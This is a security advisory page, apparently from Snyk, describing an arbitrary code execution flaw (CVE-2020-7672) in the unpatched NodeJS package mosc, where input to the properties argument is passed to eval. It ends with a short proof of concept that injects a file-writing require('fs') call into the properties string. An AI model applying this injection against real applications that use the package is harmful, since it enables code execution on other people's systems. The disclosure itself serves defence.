Arbitrary Code Execution Affecting mosc package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
1.47% (88th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-MOSC-571492
  • published5 Jun 2020
  • disclosed5 Jun 2020
  • creditJHU System Security Lab

Introduced: 5 Jun 2020

CVE-2020-7672  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

There is no fixed version for mosc.

Overview

mosc is an a simple inline object model builder for NodeJS (A small port exists for client-side javascript).

Affected versions of this package are vulnerable to Arbitrary Code Execution. User input provided to properties argument is executed by the eval function, resulting in code execution.

PoC

var A = require("mosc");
var a = new A({});
var key = "";
var attack_code = "fs=require('fs');fs.writeFile('Song');"
var properties = "{a:*1*; " + attack_code + " //*}"
var base ="";

var a = a.parse_properties(key,properties,{},{})

References

CVSS Scores

version 3.1